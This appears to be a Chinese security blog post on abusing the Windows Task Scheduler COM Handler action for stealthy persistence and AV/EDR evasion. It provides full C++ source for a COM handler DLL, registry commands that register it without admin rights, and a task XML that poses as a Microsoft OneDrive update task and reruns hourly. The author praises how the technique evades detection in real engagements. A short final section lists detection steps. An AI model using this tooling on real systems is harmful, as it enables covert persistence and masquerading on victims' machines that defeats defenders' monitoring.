0x1 前言
先知社区中没看到关于Windows任务计划COM Handler的文章,遂写一篇关于Windows任务计划COM Handler
本文会先介绍Windows任务计划COM Handler是什么(下文简称COM Handler),然后介绍它在权限维持中的应用,最后介绍通过C++实现COM Handler、通过注册表注册COM Handler、通过任务计划调用COM Handler
我们都知道Windows任务计划中的动作包括:启动程序、发送电子邮件、显示消息

其实还有一个动作叫COM Handler,我们无法通过任务计划的GUI或CLI直接指定动作为COM Handler,但可以通过导入xml文件或调用任务计划API的方式创建,先看看它的样子,如下图所示,COM Handler创建后,动作的名字是Custom Handler

那COM Handler是什么呢,在Windows任务计划程序中,COM Handler是一种特殊的动作,与传统的“启动程序”或“发送电子邮件”不同,它允许任务计划程序调用一个注册在系统中的 COM 对象来执行特定的逻辑。
简单来说,当任务触发时,任务计划程序不会启动一个新的exe进程,而是加载一个指定的dll文件并在任务计划程序的进程中运行代码
看完上面的介绍,经常搞Windows终端攻防的同学都会想到,这是原生免杀的命令执行和权限维持特性,攻击者可以利用这个特性执行恶意dll,dll运行在任务计划宿主进程taskhostw.exe中,原生实现了进程注入,再配置创建任务计划,还可隐蔽实现权限维持,隐蔽性主要体现在以下几个方面
1.执行方式多种多样
正常流程是自己实现一个COM Handler,注册到系统,创建任务计划,其中注册到系统这个环节还可以劫持系统中已注册的COM Handler(修改已有COM Handler对应的注册表项,使其指向自己的dll)
- 通过reg add的方式,或通过reg import的方式
- 通过注册表API
- 通过INF文件的方式,通过INF文件修改注册表本质是SetupAPI.dll在修改注册表,这是一个白文件,也可以绕过部分安全软件的监测
- 等等
创建任务计划这个环节,还可以劫持系统中已有的任务计划(修改已有任务计划配置文件中的CLSID,使其指向自己的COM Handler),甚至可以将COM Handler设置为第二个动作,不同AV/EDR的侧重点是不同的,上述这么多方式,我相信总有一种对你有用
2.进程链更干净
AV/EDR或病毒分析师经常通过可疑的进程链来判定某个白文件是否被滥用,比如任务计划进程的子进程是cmd.exe、powershell.exe、rundll32.exe等,则被认为是可疑的,在某些严格的组织中,不仅仅是cmd.exe、powshell.exe,如果子进程是不常见的程序、或进程对应的程序位于非常见路径下(比如非C:\Windows\System32),均会触发告警
但当使用COM Handler时,执行COM Handler的进程是dllhost.exe,所以任务计划进程的子进程是dllhost.exe,dllhost.exe载入dll也是一个常规操作,大大降低了可疑性
正常创建一个任务计划,新进程会作为任务计划服务程序的子进程,如下图所示:svchost.exe -k netsvcs -p -s Schedule下面出现了cmd.exe,通常被认为是可疑的

当使用COM Handler时,执行dll的是dllhost.exe,进程链变成了svchost.exe -> dllhost.exe,命令行参数是/Processid:{6B9279D0-D220-4288-AFDF-E424F558FEF2},很难被界定为是可疑操作

3.参数更隐蔽
很多AV/EDR也会通过进程的命令行参数来检测恶意行为,比如经典的mimikatz提取凭证时用到的参数
1 2
| privilege::debug sekurlsa::logonpasswords
|
而COM Handler传给dllhost的是一串CLSID,很难被界定为是可疑参数
上述多种优势表明COM Handler是不错的攻击选择,我之前在护网行动中也使用过这项技术,在触发AV/EDR告警时,安全运营人员由于找不到恶意文件在哪里,甚至会将其加白
先捋一下底层逻辑:
当创建的计划任务被触发时,任务计划程序(此时作为COM客户端)从配置文件中获取CLSID传给COM运行时,COM运行时根据CLSID从注册表中查询DLL(此时作为COM服务端)的位置,COM运行时将DLL载入到内存后,从DLL中查找固定名称的函数DllGetClassObject
也就是说DLL首先需要实现导出函数DllGetClassObject,然后就是常规的,先创建类工厂(Class Factory)对象,再通过类工厂对象创建TaskHandler对象,最后通过TaskHandler对象中的方法Start执行恶意代码,其实我们就是实现了一个COM服务端
相应的实现过程分为三步
- 开发一个DLL形式的COM服务端
- 注册COM,将开发好的DLL注册到相应的注册表位置
- 创建计划任务,只能通过XML或API的方式创建
COM服务端开发
Source.def,声明dllmain中需要导出的函数
1 2 3 4
| LIBRARY ComActionCpp EXPORTS DllCanUnloadNow PRIVATE DllGetClassObject PRIVATE
|
dllmain.cpp,注释中包含相应解释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| #include <initguid.h> #include <comdef.h> #include "ClassFactory.hpp" #include "TaskHandler.hpp"
// 此处的值需要是注册表中注册的CLSID extern "C" { DEFINE_GUID(CLSID_TaskHandler, 0xECABD3A3, 0x725D, 0x4334, 0xAA, 0xFC, 0xBB, 0x13, 0x23, 0x4F, 0x12, 0x02); }
extern "C" BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) { return TRUE; }
#pragma warning(push) #pragma warning(disable: 28252) #pragma warning(disable: 28251)
// COM运行时载入DLL后,会首先调用名为DllGetClassObject的函数 // 创建类工厂对象后,传给COM运行时,COM运行时拿到类工厂对象后,创建TaskHandler对象 // 最后将TaskHandler对象传给COM客户端(任务计划程序),由COM客户端调用其中的方法Start STDAPI DllGetClassObject(_In_ REFCLSID clsid, _In_ REFIID iid, _Outptr_ LPVOID FAR* ppv) { if (IsEqualGUID(clsid, CLSID_TaskHandler)) { ClassFactory* pAddFact = new ClassFactory(); if (pAddFact == NULL) return E_OUTOFMEMORY; else { return pAddFact->QueryInterface(iid, ppv); } } return CLASS_E_CLASSNOTAVAILABLE; }
// COM运行时最后卸载DLL时,会调用这个函数 STDAPI DllCanUnloadNow(void) { if (g_nComObjsInUse == 0) { return S_OK; } else { return S_FALSE; } } #pragma warning(pop)
|
ClassFactory.hpp,类工厂头文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| #pragma once
#include <comdef.h> #include "TaskHandler.hpp"
#define COM_CLASS_NAME CTaskHandler
class ClassFactory : public IClassFactory { public: ClassFactory() { InterlockedIncrement(&m_nRefCount); }
~ClassFactory() { InterlockedDecrement(&m_nRefCount); }
// IUnknown中的3个方法必须实现 STDMETHODIMP QueryInterface(_In_ REFIID riid, _COM_Outptr_ LPVOID* ppObj) override; STDMETHODIMP_(ULONG) AddRef() override; STDMETHODIMP_(ULONG) Release() override;
// IClassFactory中的2个方法必须实现 STDMETHODIMP CreateInstance(_In_opt_ IUnknown* pUnknownOuter, _In_ REFIID riid, _COM_Outptr_ LPVOID* ppv); STDMETHODIMP LockServer(_In_ BOOL bLock);
private: long m_nRefCount; };
|
ClassFactory.cpp,类工厂实现文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| #include "ClassFactory.hpp"
STDMETHODIMP ClassFactory::CreateInstance(_In_opt_ IUnknown* pUnknownOuter, _In_ REFIID riid, _COM_Outptr_ LPVOID* ppv) { COM_CLASS_NAME* pTaskHandler; if (!ppv) { return E_INVALIDARG; } if (pUnknownOuter) { return CLASS_E_NOAGGREGATION; } pTaskHandler = new COM_CLASS_NAME(); if (!pTaskHandler) { return E_OUTOFMEMORY; } return pTaskHandler->QueryInterface(riid, ppv); }
STDMETHODIMP ClassFactory::LockServer(_In_ BOOL bLock) { UNREFERENCED_PARAMETER(bLock); return S_OK; }
STDMETHODIMP ClassFactory::QueryInterface(_In_ REFIID riid, _COM_Outptr_ LPVOID* ppv) { if (!ppv) { return E_INVALIDARG; } if (IsEqualGUID(riid, IID_IUnknown)) { *ppv = static_cast<IUnknown*>(this); } else if (IsEqualGUID(riid, IID_IClassFactory)) { *ppv = static_cast<IClassFactory*>(this); } else { *ppv = NULL; return E_NOINTERFACE; } AddRef(); return S_OK; }
STDMETHODIMP_(ULONG) ClassFactory::AddRef() { return InterlockedIncrement(&m_nRefCount); }
STDMETHODIMP_(ULONG) ClassFactory::Release() { LONG nRefCount = 0; nRefCount = InterlockedDecrement(&m_nRefCount); if (nRefCount == 0) delete this; return nRefCount; }
|
TaskHandler.hpp,注释中包含相应解释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| #pragma once
#include <taskschd.h> #include <comdef.h>
extern long g_nComObjsInUse;
class CTaskHandler : public ITaskHandler { public: CTaskHandler(); virtual ~CTaskHandler();
// IUnknown中的3个方法必须实现 STDMETHODIMP QueryInterface(_In_ REFIID riid, _COM_Outptr_ LPVOID* ppObj) override; STDMETHODIMP_(ULONG) AddRef() override; STDMETHODIMP_(ULONG) Release() override;
// 下列为自定义方法 STDMETHODIMP Start(IUnknown* handler, BSTR data) override; STDMETHODIMP Stop(HRESULT* retCode) override; STDMETHODIMP Pause() override; STDMETHODIMP Resume() override; private: long m_nRefCount; };
|
TaskHandler.cpp,头文件TaskHandler.hpp对应的实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| #include <initguid.h> #include <ObjIdl.h> #include <Windows.h> #include "TaskHandler.hpp"
DEFINE_GUID(IID_ITaskHandler, 0x839d7762, 0x5121, 0x4009, 0x92, 0x34, 0x4f, 0x0d, 0x19, 0x39, 0x4f, 0x04);
extern "C" DWORD WINAPI init() { MessageBoxA(NULL, "Title", "Hello ybdt, I am from COM Handler", 0); return 0; }
CTaskHandler::CTaskHandler() { InterlockedIncrement(&m_nRefCount); }
CTaskHandler::~CTaskHandler() { InterlockedDecrement(&m_nRefCount); }
STDMETHODIMP CTaskHandler::Start(IUnknown* handler, BSTR data) { STARTUPINFOA si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); init(); return S_OK; }
STDMETHODIMP CTaskHandler::Stop(HRESULT* retCode) { ExitProcess(0); return S_OK; }
STDMETHODIMP CTaskHandler::Pause() { ExitProcess(0); return S_OK; }
STDMETHODIMP CTaskHandler::Resume() { return S_OK; }
STDMETHODIMP CTaskHandler::QueryInterface(_In_ REFIID riid, _COM_Outptr_ LPVOID* ppv) { if (!ppv) { return E_INVALIDARG; }
if (IsEqualGUID(riid, IID_IUnknown)) { *ppv = static_cast<IUnknown*>(this); } else if (IsEqualGUID(riid, IID_ITaskHandler)) { *ppv = static_cast<ITaskHandler*>(this); } else { *ppv = NULL; return E_NOINTERFACE; }
AddRef(); return S_OK; }
STDMETHODIMP_(ULONG) CTaskHandler::AddRef() { return InterlockedIncrement(&m_nRefCount); }
STDMETHODIMP_(ULONG) CTaskHandler::Release() { LONG nRefCount = 0; nRefCount = InterlockedDecrement(&m_nRefCount); if (nRefCount == 0) delete this; return nRefCount; }
|
代码放到:https://github.com/ybdt/evasion-hub/tree/master/05-Persistence/COM-Handler
编译后的文件为ComActionCpp.dll,经测试,名字和后缀都可以随意更改,我们将它改为comhandler.dat,位置也是我们自定义的,我们将它放在C:\Users\admin\Desktop\test下
COM服务端注册
一共需要创建6个注册表项
1 2 3 4 5 6 7 8 9 10 11
| reg add "HKCU\SOFTWARE\Classes\CLSID\{ECABD3A3-725D-4334-AAFC-BB13234F1202}"
reg add "HKCU\SOFTWARE\Classes\CLSID\{ECABD3A3-725D-4334-AAFC-BB13234F1202}" /v "AppId" /t REG_SZ /d "{AFABD3A3-784D-BE34-4F3C-BB13234F1E4A}"
reg add "HKCU\SOFTWARE\Classes\CLSID\{ECABD3A3-725D-4334-AAFC-BB13234F1202}\InprocServer32" /d "C:\Users\admin\Desktop\test\comhandler.dat"
reg add "HKCU\SOFTWARE\Classes\CLSID\{ECABD3A3-725D-4334-AAFC-BB13234F1202}\InprocServer32" /v "ThreadingModel" /t REG_SZ /d "Both"
reg add "HKCU\SOFTWARE\Classes\AppID\{AFABD3A3-784D-BE34-4F3C-BB13234F1E4A}"
reg add "HKCU\SOFTWARE\Classes\AppID\{AFABD3A3-784D-BE34-4F3C-BB13234F1E4A}" /v "DllSurrogate" /t REG_SZ
|
由于都是在HKCU下操作,所以不需要管理员权限也可以
上述是在本地测试,实战中可以使用trustedsec的项目CS-Remote-OPs-BOF中的reg_set:https://github.com/trustedsec/CS-Remote-OPs-BOF
任务计划创建
任务计划定义了2种触发器,一种是任务计划创建后立即执行,另一种是每隔1小时执行一次,XML文件如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| <?xml version="1.0" encoding="UTF-16"?> <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <RegistrationInfo> <Author>Microsoft Corporation</Author> <URI>\OneDrive Standalone Update Task-S-1-5-21-1299387972-143441575-8753562129-1001</URI> </RegistrationInfo> <Triggers> <RegistrationTrigger id="Registration Trigger"> <Enabled>true</Enabled> </RegistrationTrigger> <CalendarTrigger> <Repetition> <Interval>PT1H</Interval> <Duration>P1D</Duration> <StopAtDurationEnd>false</StopAtDurationEnd> </Repetition> <StartBoundary>2022-01-12T12:40:56</StartBoundary> <Enabled>true</Enabled> <ScheduleByDay> <DaysInterval>1</DaysInterval> </ScheduleByDay> </CalendarTrigger> </Triggers> <Principals> <Principal id="Author"> <LogonType>InteractiveToken</LogonType> <RunLevel>LeastPrivilege</RunLevel> </Principal> </Principals> <Settings> <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate> <StartWhenAvailable>true</StartWhenAvailable> <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>false</Hidden> <RunOnlyIfIdle>false</RunOnlyIfIdle> <WakeToRun>false</WakeToRun> <ExecutionTimeLimit>PT0S</ExecutionTimeLimit> <Priority>7</Priority> <RestartOnFailure> <Interval>PT1H</Interval> <Count>999</Count> </RestartOnFailure> </Settings> <Actions Context="Author"> <ComHandler> <ClassId>{ECABD3A3-725D-4334-AAFC-BB13234F1202}</ClassId> </ComHandler> </Actions> </Task>
|
使用如下命令将创建任务计划
1
| schtasks.exe /create /xml "task.xml" /tn "Test Schedule"
|
同样,在实战中我们可以使用trustedsec的项目CS-Remote-OPs-BOF中的schtaskscreate:https://github.com/trustedsec/CS-Remote-OPs-BOF
可以看到成功执行我们的COM Handler

在任务计划的GUI和CLI中是无法看到对应的dll文件,需要
- 通过任务计划XML文件获取CLSID
- 查询那个CLSID在注册表的位置
- 检查CLSID的子项InProcSever32指向的文件是否是恶意文件
参考链接
https://blog.yaxser.io/posts/task-scheduler-com-handler
https://github.com/Yaxser/Itaskhandler
https://github.com/trustedsec/CS-Remote-OPs-BOF